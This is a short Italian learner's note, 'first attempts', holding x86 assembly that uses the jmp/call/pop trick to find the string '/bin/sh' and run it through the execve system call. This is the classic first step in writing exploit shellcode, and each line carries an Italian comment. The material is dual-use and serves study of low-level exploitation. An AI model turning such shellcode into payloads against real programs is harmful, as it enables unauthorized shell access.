Primi tentativi 1/2 .global main [execv.s] main: jmp fine inizio: pop %esi <-- Becco il registro della stringa. movl %esi,0x8(%esi) <-- Lo associo da esi a esi + 8 movb $0x0,0x7(%esi) <-- Metto lo 0 al fondo movl $0x0,0xc(%esi) <-- Metto lo 0 al valore esi + 12 movl $0xb,%eax <-- Metto 11 in eax movl %esi,%ebx <-- Metto esi in ebx leal 0x8(%esi),%ecx <-- Metto esi+8 in ecx leal 0xc(%esi),%edx <-- Metto esi+12 in edx int $0x80 <-- Spero fine: call inizio .string "/bin/sh"